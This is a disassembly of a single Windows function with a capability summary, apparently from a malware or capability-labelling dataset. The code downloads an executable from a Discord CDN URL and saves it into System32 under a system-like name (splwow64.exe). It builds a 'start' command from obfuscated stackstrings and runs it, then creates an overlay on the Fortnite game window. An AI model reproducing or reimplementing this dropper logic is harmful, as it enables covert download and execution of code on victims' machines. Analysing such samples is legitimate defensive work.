Function at 0x140035920
Capabilities:
Contain obfuscated stackstrings
Download url
Execute command
Receive data
Terminate process

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x1b8]
sub rsp, 0x290
movaps xmmword [rax - 0x38], xmm6
movaps xmmword [rax - 0x48], xmm7
mov rax, qword [0x14004a040]
xor rax, rsp
mov qword [rbp + 0x168], rax
xor r13d, r13d
mov qword [rsp + 0x20], r13
xor r9d, r9d
lea r8, str.C:WindowsSystem32_splwow64.exe
lea rdx, str.https:__cdn.discordapp.com_attachments_932378363832729623_954818361123029062_splwow64.exe
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
xorps xmm0, xmm0
movups xmmword [rbp + 0xe8], xmm0
movdqa xmm1, xmmword [0x140042e90]
movdqu xmmword [rbp + 0xf8], xmm1
mov word [rbp + 0xe8], 0x73
movups xmmword [rbp + 0x48], xmm0
mov qword [rbp + 0x58], 1
mov qword [rbp + 0x60], 0xf
mov word [rbp + 0x48], 0x74
movups xmmword [rbp + 0x88], xmm0
mov qword [rbp + 0x98], 1
mov qword [rbp + 0xa0], 0xf
mov word [rbp + 0x88], 0x61
movups xmmword [rbp + 0xa8], xmm0
mov qword [rbp + 0xb8], 1
mov qword [rbp + 0xc0], 0xf
mov word [rbp + 0xa8], 0x72
lea r8, [rbp + 0x48]
lea rdx, [rbp + 0xe8]
lea rcx, [rbp + 0x28]
call fcn.1400370e0
mov rcx, rax
mov rdx, qword [rax + 0x10]
mov r8, qword [rax + 0x18]
mov rax, r8
sub rax, rdx
cmp rax, 1
jb 0x140035a50
lea rax, [rdx + 1]
mov qword [rcx + 0x10], rax
mov rax, rcx
cmp r8, 0xf
jbe 0x140035a48
mov rax, qword [rcx]
mov word [rax + rdx], 0x61
jmp 0x140035a6d
mov qword [rsp + 0x20], 1
lea r9, [rbp + 0x88]
mov edx, 1
call fcn.140037430
mov rcx, rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x70], xmm1
movups xmm0, xmmword [rcx]
movups xmmword [rsp + 0x60], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rsp + 0x70], xmm1
mov qword [rcx + 0x10], r13
mov qword [rcx + 0x18], 0xf
mov byte [rcx], 0
mov rcx, qword [rsp + 0x70]
mov rdx, qword [rsp + 0x78]
mov rax, rdx
sub rax, rcx
cmp rax, 1
jb 0x140035ad9
lea rax, [rcx + 1]
mov qword [rsp + 0x70], rax
lea rax, [rsp + 0x60]
cmp rdx, 0xf
cmova rax, qword [rsp + 0x60]
mov word [rax + rcx], 0x72
lea rax, [rsp + 0x60]
jmp 0x140035af8
mov qword [rsp + 0x20], 1
lea r9, [rbp + 0xa8]
mov edx, 1
lea rcx, [rsp + 0x60]
call fcn.140037430
xorps xmm0, xmm0
movups xmmword [rbp + 0x148], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x158], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x148], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x158], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea r9, [rbp + 0x48]
cmp qword [rbp + 0x60], 0xf
cmova r9, qword [rbp + 0x48]
mov rsi, qword [rbp + 0x158]
mov rcx, qword [rbp + 0x160]
mov rax, rcx
sub rax, rsi
mov rdi, qword [rbp + 0x58]
cmp rdi, rax
ja 0x140035b9a
lea rax, [rdi + rsi]
mov qword [rbp + 0x158], rax
lea rbx, [rbp + 0x148]
cmp rcx, 0xf
cmova rbx, qword [rbp + 0x148]
lea rcx, [rbx + rsi]
mov r8, rdi
mov rdx, r9
call sub.VCRUNTIME140.dll_memmove
lea rax, [rbx + rsi]
mov byte [rax + rdi], 0
lea rax, [rbp + 0x148]
jmp 0x140035bae
mov qword [rsp + 0x20], rdi
mov rdx, rdi
lea rcx, [rbp + 0x148]
call fcn.140037430
movups xmm7, xmmword [rax]
movups xmmword [rbp + 0x128], xmm7
movups xmm6, xmmword [rax + 0x10]
movups xmmword [rbp + 0x138], xmm6
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rbp + 0x160]
cmp rdx, 0xf
jbe 0x140035c16
inc rdx
mov rcx, qword [rbp + 0x148]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140035c11
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140035c11
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140037ed4
movdqa xmm0, xmmword [0x140042e80]
movdqu xmmword [rbp + 0x158], xmm0
mov byte [rbp + 0x148], 0
mov rdx, qword [rsp + 0x78]
cmp rdx, 0xf
jbe 0x140035c6d
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140035c68
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140035c68
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140037ed4
movdqa xmm0, xmmword [0x140042e80]
movdqu xmmword [rsp + 0x70], xmm0
mov byte [rsp + 0x60], 0
mov rdx, qword [rbp + 0x40]
cmp rdx, 0xf
jbe 0x140035cbe
inc rdx
mov rcx, qword [rbp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140035cb9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140035cb9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140037ed4
movdqa xmm0, xmmword [0x140042e80]
movdqu xmmword [rbp + 0x38], xmm0
mov byte [rbp + 0x28], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x108], xmm0
mov ecx, 0x20
call fcn.1400380c8
mov rsi, rax
mov qword [rbp + 0x108], rax
mov qword [rbp + 0x118], 0x14
mov qword [rbp + 0x120], 0x1f
movups xmm0, xmmword [str.C:WindowsSystem32_]
movups xmmword [rax], xmm0
mov ecx, dword [0x140042cc8]
mov dword [rax + 0x10], ecx
mov byte [rax + 0x14], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x28], xmm0
mov qword [rbp + 0x38], 4
mov qword [rbp + 0x40], 0xf
mov dword [rbp + 0x28], 0x6578652e
mov byte [rbp + 0x2c], 0
movups xmmword [rbp + 0xc8], xmm0
mov qword [rbp + 0xd8], 8
mov qword [rbp + 0xe0], 0xf
movabs rax, 0x3436776f776c7073
mov qword [rbp + 0xc8], rax
mov byte [rbp + 0xd0], 0
movabs rdx, 0x7fffffffffffffff
mov rax, rdx
movq r15, xmm6
sub rax, r15
cmp rax, 1
jae 0x140035d92
call fcn.140032410
int3
lea r12, [rbp + 0x128]
movq rcx, xmm7
psrldq xmm6, 8
movq rax, xmm6
cmp rax, 0xf
cmova r12, rcx
movups xmmword [rsp + 0x60], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x70], xmm1
lea r14, [r15 + 1]
mov ebx, 0xf
lea rdi, [rsp + 0x60]
cmp r14, rbx
jbe 0x140035e4f
mov rbx, r14
or rbx, 0xf
cmp rbx, rdx
jbe 0x140035e09
mov rbx, rdx
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.1400380c8
test rax, rax
je 0x140035e31
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x140035e4a
mov eax, 0x16
cmp rbx, rax
cmovb rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x140035e38
lea rax, [rcx + 0x27]
cmp rax, rcx
ja 0x140035dee
call fcn.140032370
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rcx, rcx
je 0x140035e47
call fcn.1400380c8
mov rdi, rax
jmp 0x140035e4a
mov rdi, r13
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0x70], r14
mov qword [rsp + 0x78], rbx
mov r8, r15
mov rdx, r12
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
mov byte [r15 + rdi], 0x20
mov byte [rdi + r14], 0
mov rdi, qword [rsp + 0x70]
mov rcx, qword [rsp + 0x78]
mov rax, rcx
sub rax, rdi
cmp rax, 0x14
jb 0x140035ebd
lea rax, [rdi + 0x14]
mov qword [rsp + 0x70], rax
lea rbx, [rsp + 0x60]
cmp rcx, 0xf
cmova rbx, qword [rsp + 0x60]
lea rcx, [rbx + rdi]
mov r8d, 0x14
mov rdx, rsi
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + rdi + 0x14], 0
lea rax, [rsp + 0x60]
jmp 0x140035ed8
mov qword [rsp + 0x20], 0x14
mov r9, rsi
mov edx, 0x14
lea rcx, [rsp + 0x60]
call fcn.140037430
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x50], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x60], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x50], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rcx, qword [rbp - 0x50]
mov rdx, qword [rbp - 0x48]
mov rax, rdx
sub rax, rcx
cmp rax, 8
jb 0x140035f47
lea rax, [rcx + 8]
mov qword [rbp - 0x50], rax
lea rax, [rbp - 0x60]
cmp rdx, 0xf
cmova rax, qword [rbp - 0x60]
movabs rdx, 0x3436776f776c7073
mov qword [rax + rcx], rdx
mov byte [rax + rcx + 8], 0
lea rax, [rbp - 0x60]
jmp 0x140035f65
mov qword [rsp + 0x20], 8
lea r9, [rbp + 0xc8]
mov edx, 8
lea rcx, [rbp - 0x60]
call fcn.140037430
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x70], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x80], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x70], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rcx, qword [rbp - 0x70]
mov rdx, qword [rbp - 0x68]
mov rax, rdx
sub rax, rcx
cmp rax, 4
jb 0x140035fcd
lea rax, [rcx + 4]
mov qword [rbp - 0x70], rax
lea rax, [rbp - 0x80]
cmp rdx, 0xf
cmova rax, qword [rbp - 0x80]
mov dword [rax + rcx], 0x6578652e
mov byte [rax + rcx + 4], 0
lea rax, [rbp - 0x80]
jmp 0x140035fe8
mov qword [rsp + 0x20], 4
lea r9, [rbp + 0x28]
mov edx, 4
lea rcx, [rbp - 0x80]
call fcn.140037430
xorps xmm0, xmm0
movups xmmword [rbp + 0x68], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x78], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x68], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x78], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rbp - 0x68]
cmp rdx, 0xf
jbe 0x140036053
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003604e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14003604e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140037ed4
movdqa xmm0, xmmword [0x140042e80]
movdqu xmmword [rbp - 0x70], xmm0
mov byte [rbp - 0x80], 0
mov rdx, qword [rbp - 0x48]
cmp rdx, 0xf
jbe 0x1400360a2
inc rdx
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003609d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14003609d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140037ed4
movdqa xmm0, xmmword [0x140042e80]
movdqu xmmword [rbp - 0x50], xmm0
mov byte [rbp - 0x60], 0
mov rdx, qword [rsp + 0x78]
cmp rdx, 0xf
jbe 0x1400360f3
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400360ee
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400360ee
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140037ed4
movdqa xmm0, xmmword [0x140042e80]
movdqu xmmword [rsp + 0x70], xmm0
mov byte [rsp + 0x60], 0
mov ecx, 0x9c4
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rbp + 0x68]
cmp qword [rbp + 0x80], 0xf
cmova rcx, qword [rbp + 0x68]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call fcn.1400352e0
mov r8d, r13d
lea r14, [0x14004adc0]
mov r15d, 5
lea rbx, [0x14004adc8]
mov r9d, dword [0x14004adb4]
test r9d, r9d
jle 0x1400361af
mov rdx, rbx
lea r10, [fcn.1400352e0]
nop word [rax + rax]
mov rcx, qword [rdx - 8]
cmp rcx, r10
ja 0x140036171
add rcx, qword [rdx]
cmp rcx, r10
jae 0x14003617f
inc r8d
add rdx, 0x18
cmp r8d, r9d
jl 0x140036160
jmp 0x1400361af
cmp r8d, 0xffffffff
jle 0x1400361af
movsxd rax, r8d
lea rdx, [rax + rax*2]
cmp byte [r14 + rdx*8 + 0x11], 0
jne 0x1400361af
movzx eax, byte [r14 + rdx*8 + 0x10]
mov ecx, eax
cmp al, 0xf3
cmova ecx, r15d
inc cl
mov byte [r14 + rdx*8 + 0x10], cl
mov byte [r14 + rdx*8 + 0x11], 1
mov r8d, r13d
lea rsi, [fcn.140001ab0]
test r9d, r9d
jle 0x1400361fb
mov rdx, rbx
mov rcx, qword [rdx - 8]
cmp rcx, rsi
ja 0x1400361d2
add rcx, qword [rdx]
cmp rcx, rsi
jae 0x1400361e0
inc r8d
add rdx, 0x18
cmp r8d, r9d
jl 0x1400361c1
jmp 0x1400361fb
cmp r8d, 0xffffffff
jle 0x1400361fb
movsxd rax, r8d
lea rcx, [rax + rax*2]
cmp byte [r14 + rcx*8 + 0x11], 1
jne 0x1400361fb
mov byte [r14 + rcx*8 + 0x11], 0
mov r8d, r13d
lea rdi, [fcn.140034f40]
test r9d, r9d
jle 0x14003624a
mov rdx, rbx
nop dword [rax]
mov rcx, qword [rdx - 8]
cmp rcx, rdi
ja 0x140036221
add rcx, qword [rdx]
cmp rcx, rdi
jae 0x14003622f
inc r8d
add rdx, 0x18
cmp r8d, r9d
jl 0x140036210
jmp 0x14003624a
cmp r8d, 0xffffffff
jle 0x14003624a
movsxd rax, r8d
lea rcx, [rax + rax*2]
cmp byte [r14 + rcx*8 + 0x11], 1
jne 0x14003624a
mov byte [r14 + rcx*8 + 0x11], 0
call fcn.140001ab0
test al, al
je 0x140036538
call fcn.140034f40
test al, al
je 0x140036538
mov r8d, r13d
mov r9d, dword [0x14004adb4]
test r9d, r9d
jle 0x1400362c5
mov rdx, rbx
mov rcx, qword [rdx - 8]
cmp rcx, rsi
ja 0x140036287
add rcx, qword [rdx]
cmp rcx, rsi
jae 0x140036295
inc r8d
add rdx, 0x18
cmp r8d, r9d
jl 0x140036276
jmp 0x1400362c5
cmp r8d, 0xffffffff
jle 0x1400362c5
movsxd rax, r8d
lea rdx, [rax + rax*2]
cmp byte [r14 + rdx*8 + 0x11], 0
jne 0x1400362c5
movzx eax, byte [r14 + rdx*8 + 0x10]
mov ecx, eax
cmp al, 0xf3
cmova ecx, r15d
inc cl
mov byte [r14 + rdx*8 + 0x10], cl
mov byte [r14 + rdx*8 + 0x11], 1
mov edx, r13d
test r9d, r9d
jle 0x14003631d
nop dword [rax]
mov rcx, qword [rbx - 8]
cmp rcx, rdi
ja 0x1400362e1
add rcx, qword [rbx]
cmp rcx, rdi
jae 0x1400362ee
inc edx
add rbx, 0x18
cmp edx, r9d
jl 0x1400362d0
jmp 0x14003631d
cmp edx, 0xffffffff
jle 0x14003631d
movsxd rax, edx
lea rdx, [rax + rax*2]
cmp byte [r14 + rdx*8 + 0x11], 0
jne 0x14003631d
movzx eax, byte [r14 + rdx*8 + 0x10]
mov ecx, eax
cmp al, 0xf3
cmova ecx, r15d
inc cl
mov byte [r14 + rdx*8 + 0x10], cl
mov byte [r14 + rdx*8 + 0x11], 1
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, str.Fortnite
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowW]
mov qword [0x14004ace8], rax
test rax, rax
je 0x14003652c
lea rdx, [0x14004ad60]
mov rcx, rax
call qword [sym.imp.USER32.dll_GetClientRect]
mov qword [rbp + 0x20], r13
lea rdx, [rbp + 0x20]
mov rcx, qword [0x14004ace8]
call qword [sym.imp.USER32.dll_ClientToScreen]
mov eax, dword [rbp + 0x20]
mov dword [0x14004ad60], eax
mov eax, dword [rbp + 0x24]
mov dword [0x14004ad64], eax
movd xmm0, dword [0x14004ad68]
cvtdq2ps xmm0, xmm0
movss dword [0x14004b274], xmm0
movd xmm1, dword [0x14004ad6c]
cvtdq2ps xmm1, xmm1
movss dword [0x14004b270], xmm1
mov qword [rbp - 0x20], r13
mov dword [rbp - 0x30], 0x50
mov dword [rbp - 0x2c], 3
lea rax, [0x140034e00]
mov qword [rbp - 0x28], rax
mov qword [rbp - 0x18], r13
mov edx, 0x7f00
xor ecx, ecx
call qword [sym.imp.USER32.dll_LoadCursorW]
mov qword [rbp - 8], rax
mov edx, 0x7f00
xor ecx, ecx
call qword [sym.imp.USER32.dll_LoadIconW]
mov qword [rbp - 0x10], rax
mov edx, 0x7f00
xor ecx, ecx
call qword [sym.imp.USER32.dll_LoadIconW]
mov qword [rbp + 0x18], rax
mov qword [rbp], r13
lea rbx, [0x140042af8]
mov qword [rbp + 0x10], rbx
mov qword [rbp + 8], rbx
lea rcx, [rbp - 0x30]
call qword [sym.imp.USER32.dll_RegisterClassExW]
movss xmm0, dword [0x14004b270]
addss xmm0, dword [0x140042d44]
cvttss2si ecx, xmm0
movss xmm0, dword [0x14004b274]
addss xmm0, dword [0x140042d44]
cvttss2si eax, xmm0
mov qword [rsp + 0x58], r13
mov qword [rsp + 0x50], r13
mov qword [rsp + 0x48], r13
mov qword [rsp + 0x40], r13
mov dword [rsp + 0x38], ecx
mov dword [rsp + 0x30], eax
mov eax, dword [0x14004ad64]
mov dword [rsp + 0x28], eax
mov eax, dword [0x14004ad60]
mov dword [rsp + 0x20], eax
mov r9d, 0x90000000
mov r8, rbx
mov rdx, rbx
xor ecx, ecx
call qword [sym.imp.USER32.dll_CreateWindowExW]
mov qword [0x14004ad20], rax
mov ecx, dword [0x14004ad60]
mov dword [rbp - 0x40], ecx
mov ecx, dword [0x14004ad64]
mov dword [rbp - 0x3c], ecx
cvttss2si ecx, dword [0x14004b274]
mov dword [rbp - 0x38], ecx
cvttss2si ecx, dword [0x14004b270]
mov dword [rbp - 0x34], ecx
lea rdx, [rbp - 0x40]
mov rcx, rax
call qword [sym.imp.dwmapi.dll_DwmExtendFrameIntoClientArea]
mov edx, 0xffffffec
mov r8d, 0x800a0
mov rcx, qword [0x14004ad20]
call qword [sym.imp.USER32.dll_SetWindowLongW]
mov edx, r15d
mov rcx, qword [0x14004ad20]
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, qword [0x14004ad20]
call qword [sym.imp.USER32.dll_UpdateWindow]
call fcn.140033270
call fcn.140035690
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140037240
lea rdx, [0x1400373f0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edx, 0x1f4
mov ecx, edx
call qword [sym.imp.KERNEL32.dll_Beep]
call fcn.140034b50
jmp 0x140036525
mov ecx, 2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov dword [rbp + 0x148], 0x610046
mov dword [rbp + 0x14c], 0x740073
mov dword [rbp + 0x150], 0x6f0042
mov dword [rbp + 0x154], 0x74006f
mov dword [rbp + 0x158], 0x70004f
mov dword [rbp + 0x15c], 0x690074
mov dword [rbp + 0x160], 0x6e006f
mov word [rbp + 0x164], r13w
mov qword [rbp - 0x40], 0x1e001c
lea rax, [rbp + 0x148]
mov qword [rbp - 0x38], rax
mov dword [rsp + 0x20], 7
xor r9d, r9d
xor r8d, r8d
lea rdx, [0x14004a0c0]
lea rcx, [rbp - 0x40]
call qword [0x14004acb8]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x148], xmm0
mov qword [rbp + 0x158], rax
mov dword [rbp + 0x160], eax
mov word [rbp + 0x164], ax
mov edx, 0x3e8
mov ecx, 0x258
call qword [sym.imp.KERNEL32.dll_Beep]
movdqa xmm0, xmmword [0x140042f30]
movdqu xmmword [rsp + 0x60], xmm0
mov word [rsp + 0x70], 0x95
lea rcx, [rsp + 0x60]
call fcn.140036620
mov rcx, rax
call fcn.140032210
call fcn.140037a30
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3